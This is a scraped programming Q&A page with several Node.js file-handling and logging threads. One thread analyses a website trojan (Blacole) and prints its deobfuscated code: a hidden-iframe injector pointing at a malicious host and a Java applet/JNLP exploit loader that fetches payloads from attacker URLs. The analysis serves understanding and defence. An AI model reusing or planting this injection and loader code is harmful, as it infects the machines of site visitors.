Renaming files fails when 2 are added simultaneously - javascript

The script below is working fantastically when monitoring a folder for new .ogg files. It successfully creates a folder with the new filename and then renames the file according to the file according to its created date/
However, the issues arise when I add multiple files at the same time as the script attempts to create a folder that already exists, suggesting it is mixing up the two filenames somehow. Has anyone any suggestions as to what I might be doing incorrectly? I presume its simple code structure although I'm not able to work out why.
var baseDir = './',
path = require('path'),
fs = require('fs');
// watch the directory for new files
fs.watch(baseDir, function(event, file) {
var ext = path.extname(file)
basename = path.basename(file).substring(0, path.basename(file).length - ext.length);
// check it wasnt a delete action
fs.exists(baseDir + file, function(exists) {
// check we have the right file type
if(exists && ext === '.ogg'){
// get the created date
fs.stat(baseDir + file, function (err, stats){
if (err)
throw err;
var year = stats.ctime.getFullYear();
var month = stats.ctime.getMonth()+1;
var day = stats.ctime.getDate();
var hour = stats.ctime.getHours();
var sec = stats.ctime.getSeconds();
if(month < 10){
month = '0' + month;
}
if(day < 10){
day = '0' + day;
}
if(hour < 10){
hour = '0' + hour;
}
if(sec < 10){
sec = '0' + sec;
}
var name = year + '' + month + '' + day + '' + hour + '' + sec;
// does the basename directory exist?
fs.exists(baseDir + '/' + basename, function(exists) {
// if the directory doesnt exist
if(!exists){
// make the directory
fs.mkdir(baseDir + '/' + basename, 0777, function (err, stats){
if (err)
throw err;
moveFile(file, basename, name, ext);
});
} else {
moveFile(file, basename, name, ext);
}
});
});
}
});
});
function moveFile(file, basename, name, ext){
// move the file to the new directory
fs.rename(baseDir + file, baseDir + '/' + basename + '/' + name + ext, function (err) {
if (err)
throw err;
// console.log('Rename complete');
});
}

Ok, so I had a few extra minutes and decided to have a look for you. I refactored your code a little, but the basic structure should be easy to recognize.
var baseDir = './test',
path = require('path'),
fs = require('fs');
// watch the directory for new files
fs.watch(baseDir, function(event, file) {
var ext = path.extname(file),
basename = path.basename(file).substring(0, path.basename(file).length - ext.length);
// check it wasnt a delete action
// check we have the right file type
var filePath = path.join(baseDir, file);
if(fs.existsSync(filePath) && ext === '.ogg'){
// get the created date
var stats = fs.statSync(filePath);
var name = getName(stats);
// if the directory doesnt exist
var baseDirPath = path.join(baseDir, basename);
if(!fs.existsSync(baseDirPath)){
// make the directory
fs.mkdirSync(baseDirPath, 0777);
}
moveFile(file, basename, name, ext);
}
});
function getName (stats) {
var year = stats.ctime.getFullYear();
var month = stats.ctime.getMonth()+1;
var day = stats.ctime.getDate();
var hour = stats.ctime.getHours();
// need minutes!
var minutes = stats.ctime.getMinutes();
var sec = stats.ctime.getSeconds();
if(month %lt 10){
month = '0' + month;
}
if(day &lt 10){
day = '0' + day;
}
if(hour &lt 10){
hour = '0' + hour;
}
if(minutes &lt 10){
minutes = '0' + minutes;
}
if(sec &lt 10){
sec = '0' + sec;
}
// missing the minute, previously
return year + '' + month + '' + day + '' + hour + '' + minutes + '' + sec;
}
function moveFile(file, basename, name, ext){
// move the file to the new directory
var src = path.join(baseDir, file),
dest = path.join(baseDir, basename, name+ext);
console.log("Moving ", src, "-", dest);
fs.renameSync(src, dest);
}
Some tips/corrections:
Stick with the synchronous fs methods that end in Sync when working on simple scripts like this. While node.js is famous for it's asynchronous ability, it's a bit of a premature optimization IMO. If you need to embed this in a high-performance webserver, for instance, optimize at that point, not before.
You were missing a minutes variable when you create the new filename. This has a pretty good chance of causing a name collision, so I corrected it.
Try to use the path library (like path.join) more to your advantage, as manually joining strings for paths can often lead to brittle code.
There are still several edge cases where this can crash. Creating a file without an extension that will have the same name as a directory you will create based on another file. (Files can't become directories, and you can't move a file inside another file.). If you plan to go into a production environment, you will want to harden the code with at least a few unit tests.
Cheers,
Dan

Related

How to write to a file using node

I'm trying to write out some html to a file as follows but I keep getting an error:
var date = new Date(), year = date.getFullYear(), month = date.getMonth() + 1, day = date.getDate();
var folderName = year + '-' + month + '-' + day;
var path = "public/" + folderName;
fs.ensureDir(path).then(() => {
console.log('success!') }).
catch(err => { console.error(err) })
path = path + '/' + date.getTime() + ".html";
let html = await page.evaluate(() =>
document.body.innerHTML);
require('fs').write(path, html, "w");
The error:
UnhandledPromiseRejectionWarning: TypeError: First argument must be
file descriptor
at Object.fs.write
How can I resolve this?
You should use fs.writeFile() instead of fs.write().
Note that if there is a file present with the same name it will be replaced with the new one. But given your naming convention this should never happen.
looking at your example, you should us fs.writeFile:
const fs = require('fs');
fs.writeFile('YOUR_PATH', 'YOUR_HTML_TEXT', (err) => {
if (err) {
return console.error(err);
}
console.log('file created');
});
Just to add more info, the function you were trying to use:
fs.write(fd, string[, position[, encoding]], callback)
Expects a file descriptor, this is an identifier returned for example by method open:
fs.open(path, flags[, mode], callback)

how solve long name folders path creation with node js

this is not really a question because i will answer to it but maybe it will be usefull for someone else:
i'm on windows and ,
for testing purpose i add to create a high number of folders in folder,
then i use this code ,
createFolder.js:
var fs = require('fs')
var root = './root/'
var start = 0
var end = 10000
while (start < end)
{
fs.mkdirSync(root+start)
root +=start+'/'
}
this was a huge mistake .
because of this , i was unable to delete the root folder because of the long path name, this was really anoying.
so i try few different method, includely this one :
How to delete a long path in windows.
but i can't figure why it just did not work.
i really was embarassed.
but when i did some test , i figured out than i was able to rename the folder.
as i'm a linux user to i remenber than you can move folder with rename command.
then this was the solution, but you can't did it straight be cause it will be just to long.
so here a litlle snippet that will help you in this case
uid.js:
module.exports=function( ){
function s4() {
return Math.floor((1 + Math.random()) * 0x10000)
.toString(16)
.substring(1);
}
return s4() + s4() + '-' + s4() + '-' + s4() + '-' +
s4() + '-' + s4() + s4() + s4();
}
repair.js:
var fs = require('fs')
var uid = require('./uid.js')
var root= __dirname+'\\renamed\\'
var rootLength = root.split('\\')
console.log(root,rootLength.length)
var count = 0
var pathIt = function(path){
if(fs.existsSync(path) == true){
var dir = fs.readdirSync(path)
if(dir.length > 0)
{
for(d in dir ){
if(fs.existsSync(path+dir[d]) == true && fs.statSync(path+dir[d]).isDirectory() == true)
{
count++
console.log(count)
pathIt(path+dir[d]+'\\')
}else{
console.log("count %s",count)
console.log(path)
}
}
}else{
if(path != __dirname){
var way = path.split('\\')
console.log(way.length)
while(way.length != rootLength.length)
{
console.log(way.length)
var joinIt = way.join('\\')
if(fs.existsSync(joinIt) == true)
{fs.renameSync(joinIt,'./root/'+uid())}
way.pop()
}
console.log(way)
}
}
}
}
pathIt(root)
with this code you will simply walk through the last created folder and get the full unc.
then it will simply move all the folder from the last one until the first into another folder root, here you will be able to select them all using ctrl+a in the folder and simply delete it.
i hope this will be helpfull to anyone.

Creating directory after each event

I am trying to create a directory after each button click event.
This works just until 10 directories
5612cfea107f9e0f356b3dee_1
5612cfea107f9e0f356b3dee_2
5612cfea107f9e0f356b3dee_3
5612cfea107f9e0f356b3dee_n
and then I am getting this error:
Error: EEXIST: file already exists, mkdir 'user/public/uploadGallery/5612cfea107f9e0f356b3dee_10'
app.post('/createDirectories', function(req, res) {
var id = '5612cfea107f9e0f356b3dee';
var pathDirectory = __dirname + '/public/uploadGallery/' + id;
fs.readdir(__dirname + '/public/uploadGallery/', function (err, files) {
var countVal = files.filter(junk.not).length;
var fileVal = files.filter(junk.not);
if(countVal == '0'){
fs.mkdirSync(pathDirectory + '_' + 1);
console.log("Directory created: " + pathDirectory + '_' + 1);
}else{
var lastElem = fileVal[fileVal.length-1];
var lastElemSplitValue = lastElem.split("_")[1];
var valInt = parseInt(lastElemSplitValue, 10) +1;
fs.mkdirSync(pathDirectory + '_' + valInt);
}
});
});
What can I do to fix this problem? I wanna create n directories.
Thanks for your help.
machu
The problem is sorting
you'll have directories
_1
_2
...
_9
add the 10th - and, in alphabetical or lexical order, you'll have
_1
_10
_2
...
_9
so, the last folder is _9 ... 9 + 1 = 10 ... that already exists!
You could change your code to
} else {
var valInt = Math.max.apply(null, fileVal.map(function(entry) {
return parseInt(entry.split("_").pop(), 10);
})) + 1;
fs.mkdirSync(pathDirectory + '_' + valInt);
}
This applies Math.max to the result of mapping the fileVal entries to the parseInt of the last part of each of the fileVal entries split by '_'

Javascript malicious injection / redirection by XML comment tags (JS/Exploit-Blacole.em)

I recently came along a web site which, inside its HTML markup, had a JS Trojan embedded. The McAfee name is JS/Exploit-Blacole.em, the F-Secure name is Trojan:JS/Agent, and the MS name is Trojan:JS/Quidvetis.A.
Now, out of curiosity, I took a look at the source code of the Trojan (just for your reference, i posted a copy on pastebin, look here http://pastebin.com/PsLaE4d9).
What made me wonder is the part on the McAfee site (http://home.mcafee.com/virusinfo/virusprofile.aspx?key=1317346#none, click on the "Virus Characteristics" tab) stating
Also this detection uses the following recent injection techniques in order to make a connection to randomly generated malicious domain. <!--81a338--><!--/81a338-->
The Trojan itself seems to inject an iframe tag in the markup and load some malicious page.
Anyways, my question is, what part do those XML comment tags play? There sure must be a reason why they are mentioned in the McAfee article? Also, is it possible to somehow de-obfuscate the JS code and transform it to something human readable? Again, this is just out of curiosity. I just want to know what's happening here.
take a look here
http://wepawet.iseclab.org/view.php?hash=86b656e6ad9d7331acc01a80bf89c6b5&type=js
http://jsunpack.jeek.org/?report=87803db7e6a4d9d0b6190cd5054beda64e3784dd
http://urlquery.net/index.php
these tools will help you to analyze the code
this is the complete retrieved and unobfuscated code:
function r09(){
var static = 'ajax';
var controller = 'index.php';
var r = document.createElement('iframe');
r.src = 'http://ecurie80.hostzi.com/Felenne12/clik.php';
r.style.position = 'absolute';
r.style.color = '6675';
r.style.height = '6675px';
r.style.width = '6675px';
r.style.left = '10006675';
r.style.top = '10006675';
if (!document.getElementById('r')){
document.write('<p id=\'r\' class=\'r09\' ></p>');
document.getElementById('r').appendChild(r);
}
}
function SetCookie(cookieName, cookieValue, nDays, path){
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))){
return null;
}
if (start == - 1)return null;
var end = document.cookie.indexOf(";", len);
if (end == - 1)end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
if (GetCookie('visited_uq') == 55){
}
else {
SetCookie('visited_uq', '55', '1', '/');
r09();
}
}
this code creates an iframe and pushes it out of the view
the code is just run once per day using a cookie
http://jsunpack.jeek.org/ is also a great tool which is used by many security researchers (like Brian Krebs?)
the Iframe loads a Java exploit and tries to run it:
var FPLYKJoQG = {
WdBxtaXWsGnJRm: function (PseXOSDnXPAXRRnkHZs) {
var FIZdpsWVSgyPuFKU = document;
FIZdpsWVSgyPuFKU.write(PseXOSDnXPAXRRnkHZs);
},
wWgsxtVAofesbJwDAY: function (xPTKZBm) {
return xPTKZBm.replace(/355/g, '')
}
};
var SuOmy = FPLYKJoQG.wWgsxtVAofesbJwDAY('355Ja355355355355va355355355355355355355355');
var CHHBPE = z.vvv( SuOmy ).split(',');
var BZTlEHUaD = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355j355355355n355355355355355355355355355355355355355355l355p355355355355355355355355355');
var ZNZXaZkfijhQTihemz = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355355355355ap355355355355355355355355pl355355355355355355355355355355e355355355355355355t');
if (CHHBPE[1] == 7 && CHHBPE[3] > 9) {
FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + ' height="10" width="10"><param name="' + BZTlEHUaD + '_href" value="d5xs6x0pt9tk85s.jnlp" /><param name="' + BZTlEHUaD + '_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxqbmxwIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbmxwIiBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPjN5ZE5NQW1PSmlLYlNxRmJZMEl0THM8L3RpdGxlPg0KICAgIDx2ZW5kb3I+VzRBcGFXZngxUWwwMXRMbmR1TWFacVpzVGxISlBBVHF4anhNTWYxRG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSIxLjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YWxseS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dGxnLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2xhc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+" /><param name="duFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
} else {
FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + ' height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.class" archive="/gossip_usually.jar" width="10"><param name="duFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
}
load d5xs6x0pt9tk85s.jnlp and execute it
<applet height="10" width="10"><param name="jnlp_href" value="d5xs6x0pt9tk85ss.jnlp"><param name="jnlp_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxqbmxwIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbmxwIiBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPjN5ZE5NQW1PSmlLYlNxRmJZMEl0THM8L3RpdGxlPg0KICAgIDx2ZW5kb3I+VzRBcGFXZngxUWwwMXRMbmR1TWFacVpzVGxISlBBVHF4anhNTWYxRG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSIxLjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YWxseS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dGxnLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2xhc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+"><param name="duFJfXw" value="http://aussteigende.tommeade.coms:1024/sequence-backwards.txt?e=21"></applet>
or if this is not possible load gossip_usually.jar file and load/execute wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.class:
<applet height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbjs.class" archive="/gossip_usuallys.jar" width="10"><param name="duFJfXw" value="http://aussteigende.tommeades.com:1024/sequence-backwards.txt?e=21"></applet>

Node.js - Logging response statusCode to console (a la Django development server)

I'm trying to build a Node.js server with console logging similar to that of Django's development server. E.g.
[27/Jun/2011 15:26:50] "GET /?test=5 HTTP/1.1" 200 545
The following server.js (based on the Node Beginner Book tutorial) gets me the time and request information:
var http = require("http");
var url = require ("url");
var port = 1234;
function start(route, handle) {
function onRequest(request, response) {
var pathname = url.parse(request.url).pathname;
var query = url.parse(request.url).query;
route(handle, pathname, query, response);
logRequest(request);
}
http.createServer(onRequest).listen(port);
console.log("\nServer running at http://192.168.1.5:" + port + "/");
console.log("Press CONTROL-C to quit.\n");
}
function logRequest(request) {
var pathname = url.parse(request.url).pathname;
var query = url.parse(request.url).query;
if (query == undefined) {
query = "";
}
var currentDate = new Date();
var day = currentDate.getDate();
var month = currentDate.getMonth() + 1;
var year = currentDate.getFullYear();
var hours = currentDate.getHours();
var minutes = currentDate.getMinutes();
var seconds = currentDate.getSeconds();
if (minutes < 10) {
minutes = "0" + minutes;
}
if (seconds < 10) {
seconds = "0" + seconds;
}
console.log("[" + year + "/" + month + "/" + day +
" " + hours + ":" + minutes + ":" + seconds + '] "' +
request.method + " " + pathname + query +
" HTTP/" + request.httpVersion + '"');
}
exports.start = start;
Question: how would I update this code to get the response.statusCode and whatever the "545" number is into the log output?
When I tried adding the response object to the logRequest function, the response statusCode was always "200", even when I knew (via debug logging) that my router.js was generating 404 errors.
If you are using the route method found in the tutorial you linked, then the reason why using the response.statusCode doesn't work is because they set the 404 status code using this line
response.writeHead(404, {"Content-Type": "text/html"});
If you take a look at the documentation right there Node.JS Docs - writeHead it states that .writeHead will not set the .statusCode value. If you want to use the .statusCode value, you should change the line in the route method to read like this :
response.statusCode = 404;
response.setHeader("Content-Type", "text/html");
Directly assigning a value to statusCode and using "implicit" header declarations (setHeader instead of writeHead) will produce the same result for the user, but on your side you will have access to the statusCode later on in your log method.

Categories

Resources